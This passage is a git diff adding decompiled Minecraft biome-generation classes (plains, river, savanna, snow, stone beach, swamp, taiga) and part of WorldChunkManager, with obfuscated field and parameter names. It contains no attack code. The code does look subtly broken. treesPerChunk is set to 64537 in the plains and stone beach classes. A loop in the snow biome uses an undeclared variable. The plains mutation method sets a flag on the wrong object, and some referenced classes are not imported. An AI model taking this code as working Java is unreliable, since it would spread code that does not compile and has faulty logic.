diff --git a/src/minecraft/net/minecraft/world/biome/BiomeGenPlains.java b/src/minecraft/net/minecraft/world/biome/BiomeGenPlains.java
new file mode 100644
index 0000000..659444f
--- /dev/null
+++ b/src/minecraft/net/minecraft/world/biome/BiomeGenPlains.java
@@ -0,0 +1,115 @@
+package net.minecraft.world.biome;
+
+import java.util.Random;
+import net.minecraft.block.BlockDoublePlant.EnumPlantType;
+import net.minecraft.block.BlockFlower.EnumFlowerType;
+import net.minecraft.util.BlockPos;
+import net.minecraft.world.World;
+import net.minecraft.world.gen.feature.WorldGenDoublePlant;
+
+public class BiomeGenPlains extends BiomeGenBase
+{
+  protected boolean field_150628_aC;
+  private static final String __OBFID = "CL_00000180";
+  
+  protected BiomeGenPlains(int p_i1986_1_)
+  {
+    super(p_i1986_1_);
+    setTemperatureRainfall(0.8F, 0.4F);
+    setHeight(height_LowPlains);
+    spawnableCreatureList.add(new BiomeGenBase.SpawnListEntry(net.minecraft.entity.passive.EntityHorse.class, 5, 2, 6));
+    theBiomeDecorator.treesPerChunk = 64537;
+    theBiomeDecorator.flowersPerChunk = 4;
+    theBiomeDecorator.grassPerChunk = 10;
+  }
+  
+  public BlockFlower.EnumFlowerType pickRandomFlower(Random p_180623_1_, BlockPos p_180623_2_)
+  {
+    double var3 = field_180281_af.func_151601_a(p_180623_2_.getX() / 200.0D, p_180623_2_.getZ() / 200.0D);
+    
+
+    if (var3 < -0.8D)
+    {
+      int var5 = p_180623_1_.nextInt(4);
+      
+      switch (var5)
+      {
+      case 0: 
+        return BlockFlower.EnumFlowerType.ORANGE_TULIP;
+      
+      case 1: 
+        return BlockFlower.EnumFlowerType.RED_TULIP;
+      
+      case 2: 
+        return BlockFlower.EnumFlowerType.PINK_TULIP;
+      }
+      
+      
+      return BlockFlower.EnumFlowerType.WHITE_TULIP;
+    }
+    
+    if (p_180623_1_.nextInt(3) > 0)
+    {
+      int var5 = p_180623_1_.nextInt(3);
+      return var5 == 1 ? BlockFlower.EnumFlowerType.HOUSTONIA : var5 == 0 ? BlockFlower.EnumFlowerType.POPPY : BlockFlower.EnumFlowerType.OXEYE_DAISY;
+    }
+    
+
+    return BlockFlower.EnumFlowerType.DANDELION;
+  }
+  
+
+  public void func_180624_a(World worldIn, Random p_180624_2_, BlockPos p_180624_3_)
+  {
+    double var4 = field_180281_af.func_151601_a((p_180624_3_.getX() + 8) / 200.0D, (p_180624_3_.getZ() + 8) / 200.0D);
+    
+
+
+
+
+    if (var4 < -0.8D)
+    {
+      theBiomeDecorator.flowersPerChunk = 15;
+      theBiomeDecorator.grassPerChunk = 5;
+    }
+    else
+    {
+      theBiomeDecorator.flowersPerChunk = 4;
+      theBiomeDecorator.grassPerChunk = 10;
+      field_180280_ag.func_180710_a(BlockDoublePlant.EnumPlantType.GRASS);
+      
+      for (int var6 = 0; var6 < 7; var6++)
+      {
+        int var7 = p_180624_2_.nextInt(16) + 8;
+        int var8 = p_180624_2_.nextInt(16) + 8;
+        int var9 = p_180624_2_.nextInt(worldIn.getHorizon(p_180624_3_.add(var7, 0, var8)).getY() + 32);
+        field_180280_ag.generate(worldIn, p_180624_2_, p_180624_3_.add(var7, var9, var8));
+      }
+    }
+    
+    if (field_150628_aC)
+    {
+      field_180280_ag.func_180710_a(BlockDoublePlant.EnumPlantType.SUNFLOWER);
+      
+      for (int var6 = 0; var6 < 10; var6++)
+      {
+        int var7 = p_180624_2_.nextInt(16) + 8;
+        int var8 = p_180624_2_.nextInt(16) + 8;
+        int var9 = p_180624_2_.nextInt(worldIn.getHorizon(p_180624_3_.add(var7, 0, var8)).getY() + 32);
+        field_180280_ag.generate(worldIn, p_180624_2_, p_180624_3_.add(var7, var9, var8));
+      }
+    }
+    
+    super.func_180624_a(worldIn, p_180624_2_, p_180624_3_);
+  }
+  
+  protected BiomeGenBase createMutatedBiome(int p_180277_1_)
+  {
+    BiomeGenPlains var2 = new BiomeGenPlains(p_180277_1_);
+    var2.setBiomeName("Sunflower Plains");
+    field_150628_aC = true;
+    var2.setColor(9286496);
+    field_150609_ah = 14273354;
+    return var2;
+  }
+}
diff --git a/src/minecraft/net/minecraft/world/biome/BiomeGenRiver.java b/src/minecraft/net/minecraft/world/biome/BiomeGenRiver.java
new file mode 100644
index 0000000..b7b573e
--- /dev/null
+++ b/src/minecraft/net/minecraft/world/biome/BiomeGenRiver.java
@@ -0,0 +1,12 @@
+package net.minecraft.world.biome;
+
+import java.util.List;
+
+public class BiomeGenRiver extends BiomeGenBase {
+  private static final String __OBFID = "CL_00000181";
+  
+  public BiomeGenRiver(int p_i1987_1_) {
+    super(p_i1987_1_);
+    spawnableCreatureList.clear();
+  }
+}
diff --git a/src/minecraft/net/minecraft/world/biome/BiomeGenSavanna.java b/src/minecraft/net/minecraft/world/biome/BiomeGenSavanna.java
new file mode 100644
index 0000000..61367c9
--- /dev/null
+++ b/src/minecraft/net/minecraft/world/biome/BiomeGenSavanna.java
@@ -0,0 +1,92 @@
+package net.minecraft.world.biome;
+
+import java.util.Random;
+import net.minecraft.block.Block;
+import net.minecraft.block.BlockDoublePlant.EnumPlantType;
+import net.minecraft.entity.passive.EntityHorse;
+import net.minecraft.init.Blocks;
+import net.minecraft.util.BlockPos;
+import net.minecraft.world.World;
+import net.minecraft.world.chunk.ChunkPrimer;
+import net.minecraft.world.gen.feature.WorldGenDoublePlant;
+import net.minecraft.world.gen.feature.WorldGenSavannaTree;
+
+public class BiomeGenSavanna extends BiomeGenBase
+{
+  private static final WorldGenSavannaTree field_150627_aC = new WorldGenSavannaTree(false);
+  private static final String __OBFID = "CL_00000182";
+  
+  protected BiomeGenSavanna(int p_i45383_1_)
+  {
+    super(p_i45383_1_);
+    spawnableCreatureList.add(new BiomeGenBase.SpawnListEntry(EntityHorse.class, 1, 2, 6));
+    theBiomeDecorator.treesPerChunk = 1;
+    theBiomeDecorator.flowersPerChunk = 4;
+    theBiomeDecorator.grassPerChunk = 20;
+  }
+  
+  public net.minecraft.world.gen.feature.WorldGenAbstractTree genBigTreeChance(Random p_150567_1_)
+  {
+    return p_150567_1_.nextInt(5) > 0 ? field_150627_aC : worldGeneratorTrees;
+  }
+  
+  protected BiomeGenBase createMutatedBiome(int p_180277_1_)
+  {
+    Mutated var2 = new Mutated(p_180277_1_, this);
+    temperature = ((temperature + 1.0F) * 0.5F);
+    minHeight = (minHeight * 0.5F + 0.3F);
+    maxHeight = (maxHeight * 0.5F + 1.2F);
+    return var2;
+  }
+  
+  public void func_180624_a(World worldIn, Random p_180624_2_, BlockPos p_180624_3_)
+  {
+    field_180280_ag.func_180710_a(BlockDoublePlant.EnumPlantType.GRASS);
+    
+    for (int var4 = 0; var4 < 7; var4++)
+    {
+      int var5 = p_180624_2_.nextInt(16) + 8;
+      int var6 = p_180624_2_.nextInt(16) + 8;
+      int var7 = p_180624_2_.nextInt(worldIn.getHorizon(p_180624_3_.add(var5, 0, var6)).getY() + 32);
+      field_180280_ag.generate(worldIn, p_180624_2_, p_180624_3_.add(var5, var7, var6));
+    }
+    
+    super.func_180624_a(worldIn, p_180624_2_, p_180624_3_);
+  }
+  
+  public static class Mutated extends BiomeGenMutated
+  {
+    private static final String __OBFID = "CL_00000183";
+    
+    public Mutated(int p_i45382_1_, BiomeGenBase p_i45382_2_)
+    {
+      super(p_i45382_2_);
+      theBiomeDecorator.treesPerChunk = 2;
+      theBiomeDecorator.flowersPerChunk = 2;
+      theBiomeDecorator.grassPerChunk = 5;
+    }
+    
+    public void genTerrainBlocks(World worldIn, Random p_180622_2_, ChunkPrimer p_180622_3_, int p_180622_4_, int p_180622_5_, double p_180622_6_)
+    {
+      topBlock = Blocks.grass.getDefaultState();
+      fillerBlock = Blocks.dirt.getDefaultState();
+      
+      if (p_180622_6_ > 1.75D)
+      {
+        topBlock = Blocks.stone.getDefaultState();
+        fillerBlock = Blocks.stone.getDefaultState();
+      }
+      else if (p_180622_6_ > -0.5D)
+      {
+        topBlock = Blocks.dirt.getDefaultState().withProperty(net.minecraft.block.BlockDirt.VARIANT, net.minecraft.block.BlockDirt.DirtType.COARSE_DIRT);
+      }
+      
+      func_180628_b(worldIn, p_180622_2_, p_180622_3_, p_180622_4_, p_180622_5_, p_180622_6_);
+    }
+    
+    public void func_180624_a(World worldIn, Random p_180624_2_, BlockPos p_180624_3_)
+    {
+      theBiomeDecorator.func_180292_a(worldIn, p_180624_2_, this, p_180624_3_);
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/world/biome/BiomeGenSnow.java b/src/minecraft/net/minecraft/world/biome/BiomeGenSnow.java
new file mode 100644
index 0000000..865d62d
--- /dev/null
+++ b/src/minecraft/net/minecraft/world/biome/BiomeGenSnow.java
@@ -0,0 +1,70 @@
+package net.minecraft.world.biome;
+
+import java.util.List;
+import java.util.Random;
+import net.minecraft.block.Block;
+import net.minecraft.util.BlockPos;
+import net.minecraft.world.World;
+import net.minecraft.world.gen.feature.WorldGenAbstractTree;
+import net.minecraft.world.gen.feature.WorldGenIcePath;
+import net.minecraft.world.gen.feature.WorldGenIceSpike;
+
+public class BiomeGenSnow extends BiomeGenBase
+{
+  private boolean field_150615_aC;
+  private WorldGenIceSpike field_150616_aD = new WorldGenIceSpike();
+  private WorldGenIcePath field_150617_aE = new WorldGenIcePath(4);
+  private static final String __OBFID = "CL_00000174";
+  
+  public BiomeGenSnow(int p_i45378_1_, boolean p_i45378_2_)
+  {
+    super(p_i45378_1_);
+    field_150615_aC = p_i45378_2_;
+    
+    if (p_i45378_2_)
+    {
+      topBlock = net.minecraft.init.Blocks.snow.getDefaultState();
+    }
+    
+    spawnableCreatureList.clear();
+  }
+  
+  public void func_180624_a(World worldIn, Random p_180624_2_, BlockPos p_180624_3_)
+  {
+    if (field_150615_aC)
+    {
+
+
+
+
+      for (int var4 = 0; var4 < 3; var4++)
+      {
+        int var5 = p_180624_2_.nextInt(16) + 8;
+        int var6 = p_180624_2_.nextInt(16) + 8;
+        field_150616_aD.generate(worldIn, p_180624_2_, worldIn.getHorizon(p_180624_3_.add(var5, 0, var6)));
+      }
+      
+      for (var4 = 0; var4 < 2; var4++)
+      {
+        int var5 = p_180624_2_.nextInt(16) + 8;
+        int var6 = p_180624_2_.nextInt(16) + 8;
+        field_150617_aE.generate(worldIn, p_180624_2_, worldIn.getHorizon(p_180624_3_.add(var5, 0, var6)));
+      }
+    }
+    
+    super.func_180624_a(worldIn, p_180624_2_, p_180624_3_);
+  }
+  
+  public WorldGenAbstractTree genBigTreeChance(Random p_150567_1_)
+  {
+    return new net.minecraft.world.gen.feature.WorldGenTaiga2(false);
+  }
+  
+  protected BiomeGenBase createMutatedBiome(int p_180277_1_)
+  {
+    BiomeGenBase var2 = new BiomeGenSnow(p_180277_1_, true).func_150557_a(13828095, true).setBiomeName(biomeName + " Spikes").setEnableSnow().setTemperatureRainfall(0.0F, 0.5F).setHeight(new BiomeGenBase.Height(minHeight + 0.1F, maxHeight + 0.1F));
+    minHeight = (minHeight + 0.3F);
+    maxHeight = (maxHeight + 0.4F);
+    return var2;
+  }
+}
diff --git a/src/minecraft/net/minecraft/world/biome/BiomeGenStoneBeach.java b/src/minecraft/net/minecraft/world/biome/BiomeGenStoneBeach.java
new file mode 100644
index 0000000..780434a
--- /dev/null
+++ b/src/minecraft/net/minecraft/world/biome/BiomeGenStoneBeach.java
@@ -0,0 +1,20 @@
+package net.minecraft.world.biome;
+
+import net.minecraft.block.Block;
+
+public class BiomeGenStoneBeach extends BiomeGenBase
+{
+  private static final String __OBFID = "CL_00000184";
+  
+  public BiomeGenStoneBeach(int p_i45384_1_)
+  {
+    super(p_i45384_1_);
+    spawnableCreatureList.clear();
+    topBlock = net.minecraft.init.Blocks.stone.getDefaultState();
+    fillerBlock = net.minecraft.init.Blocks.stone.getDefaultState();
+    theBiomeDecorator.treesPerChunk = 64537;
+    theBiomeDecorator.deadBushPerChunk = 0;
+    theBiomeDecorator.reedsPerChunk = 0;
+    theBiomeDecorator.cactiPerChunk = 0;
+  }
+}
diff --git a/src/minecraft/net/minecraft/world/biome/BiomeGenSwamp.java b/src/minecraft/net/minecraft/world/biome/BiomeGenSwamp.java
new file mode 100644
index 0000000..bb61da6
--- /dev/null
+++ b/src/minecraft/net/minecraft/world/biome/BiomeGenSwamp.java
@@ -0,0 +1,85 @@
+package net.minecraft.world.biome;
+
+import java.util.Random;
+import net.minecraft.block.Block;
+import net.minecraft.block.BlockFlower.EnumFlowerType;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.init.Blocks;
+import net.minecraft.util.BlockPos;
+import net.minecraft.world.World;
+import net.minecraft.world.chunk.ChunkPrimer;
+import net.minecraft.world.gen.NoiseGeneratorPerlin;
+
+public class BiomeGenSwamp extends BiomeGenBase
+{
+  private static final String __OBFID = "CL_00000185";
+  
+  protected BiomeGenSwamp(int p_i1988_1_)
+  {
+    super(p_i1988_1_);
+    theBiomeDecorator.treesPerChunk = 2;
+    theBiomeDecorator.flowersPerChunk = 1;
+    theBiomeDecorator.deadBushPerChunk = 1;
+    theBiomeDecorator.mushroomsPerChunk = 8;
+    theBiomeDecorator.reedsPerChunk = 10;
+    theBiomeDecorator.clayPerChunk = 1;
+    theBiomeDecorator.waterlilyPerChunk = 4;
+    theBiomeDecorator.sandPerChunk2 = 0;
+    theBiomeDecorator.sandPerChunk = 0;
+    theBiomeDecorator.grassPerChunk = 5;
+    waterColorMultiplier = 14745518;
+    spawnableMonsterList.add(new BiomeGenBase.SpawnListEntry(net.minecraft.entity.monster.EntitySlime.class, 1, 1, 1));
+  }
+  
+  public net.minecraft.world.gen.feature.WorldGenAbstractTree genBigTreeChance(Random p_150567_1_)
+  {
+    return worldGeneratorSwamp;
+  }
+  
+  public int func_180627_b(BlockPos p_180627_1_)
+  {
+    double var2 = field_180281_af.func_151601_a(p_180627_1_.getX() * 0.0225D, p_180627_1_.getZ() * 0.0225D);
+    return var2 < -0.1D ? 5011004 : 6975545;
+  }
+  
+  public int func_180625_c(BlockPos p_180625_1_)
+  {
+    return 6975545;
+  }
+  
+  public BlockFlower.EnumFlowerType pickRandomFlower(Random p_180623_1_, BlockPos p_180623_2_)
+  {
+    return BlockFlower.EnumFlowerType.BLUE_ORCHID;
+  }
+  
+  public void genTerrainBlocks(World worldIn, Random p_180622_2_, ChunkPrimer p_180622_3_, int p_180622_4_, int p_180622_5_, double p_180622_6_)
+  {
+    double var8 = field_180281_af.func_151601_a(p_180622_4_ * 0.25D, p_180622_5_ * 0.25D);
+    
+    if (var8 > 0.0D)
+    {
+      int var10 = p_180622_4_ & 0xF;
+      int var11 = p_180622_5_ & 0xF;
+      
+      for (int var12 = 255; var12 >= 0; var12--)
+      {
+        if (p_180622_3_.getBlockState(var11, var12, var10).getBlock().getMaterial() != net.minecraft.block.material.Material.air)
+        {
+          if ((var12 != 62) || (p_180622_3_.getBlockState(var11, var12, var10).getBlock() == Blocks.water))
+            break;
+          p_180622_3_.setBlockState(var11, var12, var10, Blocks.water.getDefaultState());
+          
+          if (var8 >= 0.12D)
+            break;
+          p_180622_3_.setBlockState(var11, var12 + 1, var10, Blocks.waterlily.getDefaultState());
+          
+
+
+          break;
+        }
+      }
+    }
+    
+    func_180628_b(worldIn, p_180622_2_, p_180622_3_, p_180622_4_, p_180622_5_, p_180622_6_);
+  }
+}
diff --git a/src/minecraft/net/minecraft/world/biome/BiomeGenTaiga.java b/src/minecraft/net/minecraft/world/biome/BiomeGenTaiga.java
new file mode 100644
index 0000000..0cc8d43
--- /dev/null
+++ b/src/minecraft/net/minecraft/world/biome/BiomeGenTaiga.java
@@ -0,0 +1,120 @@
+package net.minecraft.world.biome;
+
+import java.util.Random;
+import net.minecraft.block.Block;
+import net.minecraft.block.BlockDirt;
+import net.minecraft.block.BlockDirt.DirtType;
+import net.minecraft.block.BlockTallGrass.EnumType;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.init.Blocks;
+import net.minecraft.util.BlockPos;
+import net.minecraft.world.World;
+import net.minecraft.world.chunk.ChunkPrimer;
+import net.minecraft.world.gen.feature.WorldGenBlockBlob;
+import net.minecraft.world.gen.feature.WorldGenDoublePlant;
+import net.minecraft.world.gen.feature.WorldGenMegaPineTree;
+import net.minecraft.world.gen.feature.WorldGenTaiga1;
+import net.minecraft.world.gen.feature.WorldGenTaiga2;
+import net.minecraft.world.gen.feature.WorldGenTallGrass;
+
+public class BiomeGenTaiga extends BiomeGenBase
+{
+  private static final WorldGenTaiga1 field_150639_aC = new WorldGenTaiga1();
+  private static final WorldGenTaiga2 field_150640_aD = new WorldGenTaiga2(false);
+  private static final WorldGenMegaPineTree field_150641_aE = new WorldGenMegaPineTree(false, false);
+  private static final WorldGenMegaPineTree field_150642_aF = new WorldGenMegaPineTree(false, true);
+  private static final WorldGenBlockBlob field_150643_aG = new WorldGenBlockBlob(Blocks.mossy_cobblestone, 0);
+  private int field_150644_aH;
+  private static final String __OBFID = "CL_00000186";
+  
+  public BiomeGenTaiga(int p_i45385_1_, int p_i45385_2_)
+  {
+    super(p_i45385_1_);
+    field_150644_aH = p_i45385_2_;
+    spawnableCreatureList.add(new BiomeGenBase.SpawnListEntry(net.minecraft.entity.passive.EntityWolf.class, 8, 4, 4));
+    theBiomeDecorator.treesPerChunk = 10;
+    
+    if ((p_i45385_2_ != 1) && (p_i45385_2_ != 2))
+    {
+      theBiomeDecorator.grassPerChunk = 1;
+      theBiomeDecorator.mushroomsPerChunk = 1;
+    }
+    else
+    {
+      theBiomeDecorator.grassPerChunk = 7;
+      theBiomeDecorator.deadBushPerChunk = 1;
+      theBiomeDecorator.mushroomsPerChunk = 3;
+    }
+  }
+  
+  public net.minecraft.world.gen.feature.WorldGenAbstractTree genBigTreeChance(Random p_150567_1_)
+  {
+    return p_150567_1_.nextInt(3) == 0 ? field_150639_aC : ((field_150644_aH == 1) || (field_150644_aH == 2)) && (p_150567_1_.nextInt(3) == 0) ? field_150642_aF : (field_150644_aH != 2) && (p_150567_1_.nextInt(13) != 0) ? field_150641_aE : field_150640_aD;
+  }
+  
+
+
+
+  public net.minecraft.world.gen.feature.WorldGenerator getRandomWorldGenForGrass(Random p_76730_1_)
+  {
+    return p_76730_1_.nextInt(5) > 0 ? new WorldGenTallGrass(BlockTallGrass.EnumType.FERN) : new WorldGenTallGrass(BlockTallGrass.EnumType.GRASS);
+  }
+  
+
+
+
+
+
+  public void func_180624_a(World worldIn, Random p_180624_2_, BlockPos p_180624_3_)
+  {
+    if ((field_150644_aH == 1) || (field_150644_aH == 2))
+    {
+      int var4 = p_180624_2_.nextInt(3);
+      
+      for (int var5 = 0; var5 < var4; var5++)
+      {
+        int var6 = p_180624_2_.nextInt(16) + 8;
+        int var7 = p_180624_2_.nextInt(16) + 8;
+        BlockPos var8 = worldIn.getHorizon(p_180624_3_.add(var6, 0, var7));
+        field_150643_aG.generate(worldIn, p_180624_2_, var8);
+      }
+    }
+    
+    field_180280_ag.func_180710_a(net.minecraft.block.BlockDoublePlant.EnumPlantType.FERN);
+    
+    for (int var4 = 0; var4 < 7; var4++)
+    {
+      int var5 = p_180624_2_.nextInt(16) + 8;
+      int var6 = p_180624_2_.nextInt(16) + 8;
+      int var7 = p_180624_2_.nextInt(worldIn.getHorizon(p_180624_3_.add(var5, 0, var6)).getY() + 32);
+      field_180280_ag.generate(worldIn, p_180624_2_, p_180624_3_.add(var5, var7, var6));
+    }
+    
+    super.func_180624_a(worldIn, p_180624_2_, p_180624_3_);
+  }
+  
+  public void genTerrainBlocks(World worldIn, Random p_180622_2_, ChunkPrimer p_180622_3_, int p_180622_4_, int p_180622_5_, double p_180622_6_)
+  {
+    if ((field_150644_aH == 1) || (field_150644_aH == 2))
+    {
+      topBlock = Blocks.grass.getDefaultState();
+      fillerBlock = Blocks.dirt.getDefaultState();
+      
+      if (p_180622_6_ > 1.75D)
+      {
+        topBlock = Blocks.dirt.getDefaultState().withProperty(BlockDirt.VARIANT, BlockDirt.DirtType.COARSE_DIRT);
+      }
+      else if (p_180622_6_ > -0.95D)
+      {
+        topBlock = Blocks.dirt.getDefaultState().withProperty(BlockDirt.VARIANT, BlockDirt.DirtType.PODZOL);
+      }
+    }
+    
+    func_180628_b(worldIn, p_180622_2_, p_180622_3_, p_180622_4_, p_180622_5_, p_180622_6_);
+  }
+  
+  protected BiomeGenBase createMutatedBiome(int p_180277_1_)
+  {
+    return biomeID == megaTaigabiomeID ? new BiomeGenTaiga(p_180277_1_, 2).func_150557_a(5858897, true).setBiomeName("Mega Spruce Taiga").setFillerBlockMetadata(5159473).setTemperatureRainfall(0.25F, 0.8F).setHeight(new BiomeGenBase.Height(minHeight, maxHeight)) : super.createMutatedBiome(p_180277_1_);
+  }
+}
diff --git a/src/minecraft/net/minecraft/world/biome/WorldChunkManager.java b/src/minecraft/net/minecraft/world/biome/WorldChunkManager.java
new file mode 100644
index 0000000..9a3862e
--- /dev/null
+++ b/src/minecraft/net/minecraft/world/biome/WorldChunkManager.java
@@ -0,0 +1,282 @@
+package net.minecraft.world.biome;
+
+import com.google.common.collect.Lists;
+import java.util.List;
+import java.util.Random;
+import net.minecraft.crash.CrashReport;
+import net.minecraft.crash.CrashReportCategory;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.ReportedException;
+import net.minecraft.world.World;
+import net.minecraft.world.WorldType;
+import net.minecraft.world.gen.layer.GenLayer;
+import net.minecraft.world.gen.layer.IntCache;
+import net.minecraft.world.storage.WorldInfo;
+
+
+
+
+
+
+public class WorldChunkManager
+{
+  private GenLayer genBiomes;
+  private GenLayer biomeIndexLayer;
+  private BiomeCache biomeCache;
+  private List biomesToSpawnIn;
+  private String field_180301_f;
+  private static final String __OBFID = "CL_00000166";
+  
+  protected WorldChunkManager()
+  {
+    biomeCache = new BiomeCache(this);
+    field_180301_f = "";
+    biomesToSpawnIn = Lists.newArrayList();
+    biomesToSpawnIn.add(BiomeGenBase.forest);
+    biomesToSpawnIn.add(BiomeGenBase.plains);
+    biomesToSpawnIn.add(BiomeGenBase.taiga);
+    biomesToSpawnIn.add(BiomeGenBase.taigaHills);
+    biomesToSpawnIn.add(BiomeGenBase.forestHills);
+    biomesToSpawnIn.add(BiomeGenBase.jungle);
+    biomesToSpawnIn.add(BiomeGenBase.jungleHills);
+  }
+  
+  public WorldChunkManager(long p_i45744_1_, WorldType p_i45744_3_, String p_i45744_4_)
+  {
+    this();
+    field_180301_f = p_i45744_4_;
+    GenLayer[] var5 = GenLayer.func_180781_a(p_i45744_1_, p_i45744_3_, p_i45744_4_);
+    genBiomes = var5[0];
+    biomeIndexLayer = var5[1];
+  }
+  
+  public WorldChunkManager(World worldIn)
+  {
+    this(worldIn.getSeed(), worldIn.getWorldInfo().getTerrainType(), worldIn.getWorldInfo().getGeneratorOptions());
+  }
+  
+
+
+
+  public List getBiomesToSpawnIn()
+  {
+    return biomesToSpawnIn;
+  }
+  
+  public BiomeGenBase func_180631_a(BlockPos p_180631_1_)
+  {
+    return func_180300_a(p_180631_1_, null);
+  }
+  
+  public BiomeGenBase func_180300_a(BlockPos p_180300_1_, BiomeGenBase p_180300_2_)
+  {
+    return biomeCache.func_180284_a(p_180300_1_.getX(), p_180300_1_.getZ(), p_180300_2_);
+  }
+  
+
+
+  public float[] getRainfall(float[] p_76936_1_, int p_76936_2_, int p_76936_3_, int p_76936_4_, int p_76936_5_)
+  {
+    
+    
+
+    if ((p_76936_1_ == null) || (p_76936_1_.length < p_76936_4_ * p_76936_5_))
+    {
+      p_76936_1_ = new float[p_76936_4_ * p_76936_5_];
+    }
+    
+    int[] var6 = biomeIndexLayer.getInts(p_76936_2_, p_76936_3_, p_76936_4_, p_76936_5_);
+    
+    for (int var7 = 0; var7 < p_76936_4_ * p_76936_5_; var7++)
+    {
+      try
+      {
+        float var8 = BiomeGenBase.getBiomeFromBiomeList(var6[var7], BiomeGenBase.field_180279_ad).getIntRainfall() / 65536.0F;
+        
+        if (var8 > 1.0F)
+        {
+          var8 = 1.0F;
+        }
+        
+        p_76936_1_[var7] = var8;
+      }
+      catch (Throwable var11)
+      {
+        CrashReport var9 = CrashReport.makeCrashReport(var11, "Invalid Biome id");
+        CrashReportCategory var10 = var9.makeCategory("DownfallBlock");
+        var10.addCrashSection("biome id", Integer.valueOf(var7));
+        var10.addCrashSection("downfalls[] size", Integer.valueOf(p_76936_1_.length));
+        var10.addCrashSection("x", Integer.valueOf(p_76936_2_));
+        var10.addCrashSection("z", Integer.valueOf(p_76936_3_));
+        var10.addCrashSection("w", Integer.valueOf(p_76936_4_));
+        var10.addCrashSection("h", Integer.valueOf(p_76936_5_));
+        throw new ReportedException(var9);
+      }
+    }
+    
+    return p_76936_1_;
+  }
+  
+
+
+
+  public float getTemperatureAtHeight(float p_76939_1_, int p_76939_2_)
+  {
+    return p_76939_1_;
+  }
+  
+
+
+  public BiomeGenBase[] getBiomesForGeneration(BiomeGenBase[] p_76937_1_, int p_76937_2_, int p_76937_3_, int p_76937_4_, int p_76937_5_)
+  {
+    
+    
+
+    if ((p_76937_1_ == null) || (p_76937_1_.length < p_76937_4_ * p_76937_5_))
+    {
+      p_76937_1_ = new BiomeGenBase[p_76937_4_ * p_76937_5_];
+    }
+    
+    int[] var6 = genBiomes.getInts(p_76937_2_, p_76937_3_, p_76937_4_, p_76937_5_);
+    
+    try
+    {
+      for (int var7 = 0; var7 < p_76937_4_ * p_76937_5_; var7++)
+      {
+        p_76937_1_[var7] = BiomeGenBase.getBiomeFromBiomeList(var6[var7], BiomeGenBase.field_180279_ad);
+      }
+      
+      return p_76937_1_;
+    }
+    catch (Throwable var10)
+    {
+      CrashReport var8 = CrashReport.makeCrashReport(var10, "Invalid Biome id");
+      CrashReportCategory var9 = var8.makeCategory("RawBiomeBlock");
+      var9.addCrashSection("biomes[] size", Integer.valueOf(p_76937_1_.length));
+      var9.addCrashSection("x", Integer.valueOf(p_76937_2_));
+      var9.addCrashSection("z", Integer.valueOf(p_76937_3_));
+      var9.addCrashSection("w", Integer.valueOf(p_76937_4_));
+      var9.addCrashSection("h", Integer.valueOf(p_76937_5_));
+      throw new ReportedException(var8);
+    }
+  }
+  
+
+
+
+
+  public BiomeGenBase[] loadBlockGeneratorData(BiomeGenBase[] p_76933_1_, int p_76933_2_, int p_76933_3_, int p_76933_4_, int p_76933_5_)
+  {
+    return getBiomeGenAt(p_76933_1_, p_76933_2_, p_76933_3_, p_76933_4_, p_76933_5_, true);
+  }
+  
+
+
+
+  public BiomeGenBase[] getBiomeGenAt(BiomeGenBase[] p_76931_1_, int p_76931_2_, int p_76931_3_, int p_76931_4_, int p_76931_5_, boolean p_76931_6_)
+  {
+    
+    
+
+    if ((p_76931_1_ == null) || (p_76931_1_.length < p_76931_4_ * p_76931_5_))
+    {
+      p_76931_1_ = new BiomeGenBase[p_76931_4_ * p_76931_5_];
+    }
+    
+    if ((p_76931_6_) && (p_76931_4_ == 16) && (p_76931_5_ == 16) && ((p_76931_2_ & 0xF) == 0) && ((p_76931_3_ & 0xF) == 0))
+    {
+      BiomeGenBase[] var9 = biomeCache.getCachedBiomes(p_76931_2_, p_76931_3_);
+      System.arraycopy(var9, 0, p_76931_1_, 0, p_76931_4_ * p_76931_5_);
+      return p_76931_1_;
+    }
+    
+
+    int[] var7 = biomeIndexLayer.getInts(p_76931_2_, p_76931_3_, p_76931_4_, p_76931_5_);
+    
+    for (int var8 = 0; var8 < p_76931_4_ * p_76931_5_; var8++)
+    {
+      p_76931_1_[var8] = BiomeGenBase.getBiomeFromBiomeList(var7[var8], BiomeGenBase.field_180279_ad);
+    }
+    
+    return p_76931_1_;
+  }
+  
+
+
+
+
+  public boolean areBiomesViable(int p_76940_1_, int p_76940_2_, int p_76940_3_, List p_76940_4_)
+  {
+    IntCache.resetIntCache();
+    int var5 = p_76940_1_ - p_76940_3_ >> 2;
+    int var6 = p_76940_2_ - p_76940_3_ >> 2;
+    int var7 = p_76940_1_ + p_76940_3_ >> 2;
+    int var8 = p_76940_2_ + p_76940_3_ >> 2;
+    int var9 = var7 - var5 + 1;
+    int var10 = var8 - var6 + 1;
+    int[] var11 = genBiomes.getInts(var5, var6, var9, var10);
+    
+    try
+    {
+      for (int var12 = 0; var12 < var9 * var10; var12++)
+      {
+        BiomeGenBase var16 = BiomeGenBase.getBiome(var11[var12]);
+        
+        if (!p_76940_4_.contains(var16))
+        {
+          return false;
+        }
+      }
+      
+      return true;
+    }
+    catch (Throwable var15)
+    {
+      CrashReport var13 = CrashReport.makeCrashReport(var15, "Invalid Biome id");
+      CrashReportCategory var14 = var13.makeCategory("Layer");
+      var14.addCrashSection("Layer", genBiomes.toString());
+      var14.addCrashSection("x", Integer.valueOf(p_76940_1_));
+      var14.addCrashSection("z", Integer.valueOf(p_76940_2_));
+      var14.addCrashSection("radius", Integer.valueOf(p_76940_3_));
+      var14.addCrashSection("allowed", p_76940_4_);
+      throw new ReportedException(var13);
+    }
+  }
+  
+  public BlockPos findBiomePosition(int x, int z, int range, List biomes, Random random)
+  {
+    IntCache.resetIntCache();
+    int var6 = x - range >> 2;
+    int var7 = z - range >> 2;
+    int var8 = x + range >> 2;
+    int var9 = z + range >> 2;
+    int var10 = var8 - var6 + 1;
+    int var11 = var9 - var7 + 1;
+    int[] var12 = genBiomes.getInts(var6, var7, var10, var11);
+    BlockPos var13 = null;
+    int var14 = 0;
+    
+    for (int var15 = 0; var15 < var10 * var11; var15++)
+    {
+      int var16 = var6 + var15 % var10 << 2;
+      int var17 = var7 + var15 / var10 << 2;
+      BiomeGenBase var18 = BiomeGenBase.getBiome(var12[var15]);
+      
+      if ((biomes.contains(var18)) && ((var13 == null) || (random.nextInt(var14 + 1) == 0)))
+      {
+        var13 = new BlockPos(var16, 0, var17);
+        var14++;
+      }
+    }
